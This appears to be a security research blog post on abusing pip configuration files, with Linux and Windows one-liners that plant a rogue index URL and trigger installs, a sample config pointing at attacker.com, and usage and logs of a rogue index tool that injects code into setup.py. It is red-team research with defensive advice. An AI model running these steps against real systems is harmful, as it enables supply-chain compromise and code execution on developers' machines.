Pip Dreams and Security Schemes: Chaos in your Configuration Files

In the world of Python development, pip is an indispensable tool for managing packages and dependencies. While it simplifies many aspects of package management, there are risks associated with using pip configuration files (pip.conf or pip.ini) that developers and the people who manage systems using pip should be aware of.

Much has been said about the dangers lurking in malicious Python packages, and the risks posed by command-line and environmental variables. But what about the lesser-discussed, equally critical, pip configuration files? This article gets into how an attacker, or a savvy penetration tester, exploits pip to create a backdoor, and it points you at where to focus your defenses. Compromised pip settings quietly install additional tools post-compromise, turning a seemingly innocuous configuration file into a powerful instrument of attack.

Pip Hierarchy

To understand how pip is used in an environment, it’s important to understand the various methods that can change its default behaviour. Pip can be told which index server to talk to, whether to cache responses, whether to require a virtual environment, and plenty more.

These methods break down into three groups:

• Command-line variables
• Environmental variables
• Configuration files

Precedence runs in that order. Command line wins over environment, which wins over config files:

• Command-line variable --index-url=foo overrides the environmental variable index-url=foo.
• Environmental variable trusted-host=example.com overrides a configuration file with [global] trusted-host = example.com.
• Configuration files (apart from command-specific settings like [install]) have a hierarchy of their own, detailed below.

Understanding Pip Configuration Files

Pip configuration files let developers and admins set default options for pip commands. Those settings can include the package index, install directories, proxy settings, and more.

According to the pip documentation, the loading order for configuration files is:

• Global
• User
• Site
• PIP_CONFIG_FILE, if set (per directory of a given Python project)

A typical configuration file looks like this:

[global]
default-timeout      = 60
respect-virtualenv   = true
download-cache       = /tmp
log-file             = /tmp/pip-log.txt

[install]
find-links =
   http://pypi.example.com
   http://pypi2.example.com

Configuration files can live in various places. To find out what your system is actually using, run pip config -v list. It prints the global, user, and site configuration files in play.

Linux:

For variant 'global', will try loading '/etc/xdg/xdg-pop/pip/pip.conf'
For variant 'global', will try loading '/etc/xdg/pip/pip.conf'
For variant 'global', will try loading '/etc/pip.conf'
For variant 'user',   will try loading '/home/user/.pip/pip.conf'
For variant 'user',   will try loading '/home/user/.config/pip/pip.conf'
For variant 'site',   will try loading '/usr/pip.conf'

Windows:

For variant 'global', will try loading 'C:\\ProgramData\\pip\\pip.ini'
For variant 'user',   will try loading 'C:\\Users\\user\\pip\\pip.ini'
For variant 'user',   will try loading 'C:\\Users\\user\\AppData\\Roaming\\pip\\pip.ini'
For variant 'site',   will try loading 'C:\\Program Files\\WindowsApps\\PythonSoftwareFoundation.Python.X.X.X\\pip.ini'

Step back for a second. The user config is the second one loaded, and if an option isn’t set globally, the user file wins. Configuration locations can also be declared in pip without actually existing on disk. You can check that with pip config debug.

env_var:
env:
global:
  /etc/xdg/xdg-pop/pip/pip.conf, exists: False
  /etc/xdg/pip/pip.conf,         exists: False
  /etc/pip.conf,                 exists: True
    global.extra-index-url: https://pypi.org/simple
site:
  /usr/pip.conf,                 exists: False
user:
  /home/user/.pip/pip.conf,         exists: False
  /home/user/.config/pip/pip.conf,  exists: True
    global.index-url:           https://attacker.com:7979/simple/
    global.trusted-host:        attacker.com
    global.no-cache-dir:        true
    global.require-virtualenv:  false

The user’s config is quietly pointing pip at an attacker-controlled index.

As shown above, the global config /etc/pip.conf exists and defines an extra-index-url. That leaves index-url undefined, and free for another file to set.

A seemingly innocuous config file becomes a powerful instrument of attack.

Pip Exploitation

To tell pip which index server to use, trust a host, or check for additional packages, we define those directives in a configuration file. The following are especially useful when trying to subvert pip:

index-url       = https://example.com/simple
extra-index-url = https://example.com/simple
trusted-host    = example.com
find-links      = https://example.com/packages

You can also stop pip using cached packages:

no-cache-dir = true

…and make sure a virtual environment isn’t required:

require-virtualenv = false

Note: when a user runs pip after changing their configuration file, the console largely displays which server pip is talking to. Worth knowing, both for blue teams looking and red teams hoping nobody is.

Oneliner Examples

With pip we can have it execute an agent, tool, or whatever else we like. Code execution via setup.py in Python packages is well documented. What’s less discussed is doing the same through a configuration file.

Linux:

$ echo -e "[global]\nextra-index-url = https://pypi.example.com/simple/\nno-cache-dir = true\nrequire-virtualenv = false" \
    > ~/.config/pip/pip.conf; pip install talkingabouttrees

Write a malicious user config, then trigger an install in one shot.

Windows:

> mkdir %APPDATA%\pip & ^
  echo [global]                                            >> "%APPDATA%\pip\pip.ini" & ^
  echo extra-index-url = https://pypi.reuted.com/simple/   >> "%APPDATA%\pip\pip.ini" & ^
  echo no-cache-dir = true                                 >> "%APPDATA%\pip\pip.ini" & ^
  echo require-virtualenv = false                          >> "%APPDATA%\pip\pip.ini" & ^
  pip install jamesearljones

Same idea on Windows.

That sets the index URL and disables both the virtualenv requirement and caching. Then it installs the chosen package from our PyPI server. From a red team perspective this has a useful advantage over command-line variables: the index server doesn’t show up when somebody pokes through process listings.

Rogue PyPI

What happens when a user’s configuration file is pointed at a rogue index server? To find out, OSec built a tool called Pypigeon. It lets an attacker inject Python code into requested packages, and host tooling that’s handy during a red team engagement.

An interesting side note: the User-Agent pip sends to an index server reveals a lot about its environment. You could almost call it a built-in C2 beacon callback. We’ll see that in a moment.

For this example we first inject our rogue index server into /home/user/.config/pip/pip.conf, which the oneliner above handles. Either way, we want the configuration file to look like this:

[global]
index-url          = https://example.com:7979/simple/
no-cache-dir       = true
require-virtualenv = false

Then we spin up the rogue index server, with a command-line option to inject a simple Python print statement into any requested package:

user@host:~$ python pypigeon.py --help
usage: pypigeon.py [-h] -p PORT [-ua] [-f FPAYLOAD] [-c CPAYLOAD] [-l LPAC]

[PyPigeon: Rogue pypi server]

optional arguments:
  -h, --help   show this help message and exit
  -p PORT      Port to listen on
  -ua          Displays informative User-Agent from request
  -f FPAYLOAD  Set payload from file to append to setup.py
  -c CPAYLOAD  Set payload from command line  [ex: -c print('Haxed')]
  -l LPAC      Serve local package

user@host:~$ python pypigeon.py -p 7979 -ua -c "print('OSec')"
[ PyPigeon: pypi server started on port 7979 ]

Pypigeon, the OSec-built rogue index server, ready and listening.

Now any time the victim runs pip install, our rogue index server injects code. We used the -ua flag, which shows us the pip User-Agent. (The IP below has been changed to 0.0.0.0.)

[0.0.0.0] pip User-Agent: pip/22.0.2
{
  "ci": null,
  "cpu": "x86_64",
  "distro": {
    "id": "jammy",
    "libc": { "lib": "glibc", "version": "2.35" },
    "name": "Ubuntu",
    "version": "22.04"
  },
  "implementation": { "name": "CPython", "version": "3.10.12" },
  "installer":      { "name": "pip",     "version": "22.0.2"  },
  "openssl_version": "OpenSSL 3.0.2 15 Mar 2022",
  "python": "3.10.12",
  "setuptools_version": "59.6.0",
  "system": { "name": "Linux", "release": "6.9.3-76060903-generic" }
}
[0.0.0.0] Received index request for /simple/whatever/
[0.0.0.0] Sending link /packages/whatever-0.7.tar.gz instead of
          https://files.pythonhosted.org/packages/.../whatever-0.7.tar.gz
[0.0.0.0] Received package request for /packages/whatever-0.7.tar.gz
[0.0.0.0] Exploding whatever-0.7.tar.gz from pypi.org
[0.0.0.0] Adding payload to setup.py: print('OSec was here')
[0.0.0.0] Re-creating whatever-0.7.tar.gz
[0.0.0.0] Sending whatever-0.7.tar.gz back to client

The User-Agent alone is essentially a fingerprint of the victim host.

From the user’s perspective nothing looks unusual, except, of course, the conversation with the rogue index server. To actually see our injected print statement they’d need to run pip with -v:

user@host:~$ pip install -v whatever
Using pip 22.0.2 from /usr/lib/python3/dist-packages/pip (python 3.10)
Defaulting to user installation because normal site-packages is not writeable
Looking in indexes: https://example.com:7979/simple/
Collecting whatever
  Downloading https://example.com:7979/packages/whatever-0.7.tar.gz
     - 6.4 kB ? 0:00:00
  Running command python setup.py egg_info
  running egg_info
  creating /tmp/pip-pip-egg-info-xbz4i_qv/whatever.egg-info
  writing /tmp/pip-pip-egg-info-xbz4i_qv/whatever.egg-info/PKG-INFO
  writing dependency_links to .../dependency_links.txt
  writing top-level names to .../top_level.txt
  writing manifest file '.../SOURCES.txt'
  reading manifest file '.../SOURCES.txt'
  reading manifest template 'MANIFEST.in'
  adding license file 'LICENSE'
  writing manifest file '.../SOURCES.txt'
  OSec was here
  Preparing metadata (setup.py) ... done
Building wheels for collected packages: whatever
  Running command python setup.py bdist_wheel
Etc etc

Buried in verbose output: our payload firing during install.

Additional Research

If you want to go further down the rabbit hole, here are a few threads worth pulling:

• Pip configuration files can be modified per-command section, such as [install] or [freeze] — see the pip docs.
• Could Python’s ensurepip() be a useful tool in your arsenal?
• Imagine a C2 agent that requests a random package every so often through pip. When the operator wants to send a command, that package “exists,” gets installed, then uninstalled.
• Pip lets you set a log or cache file location. How could that be repurposed for less friendly ends?
• How could the PIP_CONFIG_FILE environment variable be abused?

Conclusion

Securing pip is tricky business. You’ve got environmental variables, command-line variables, and several layers of configuration files to think about. Even if index-url is set in a global configuration context, a malicious actor can still use pip to drag in malicious packages with extra-index-url or find-links.

Restricting access to configuration files, or making them read-only, takes a bite out of the problem. But as we’ve shown, there are many ways pip can be exploited, so take care to limit its use in production environments.

// OSec Research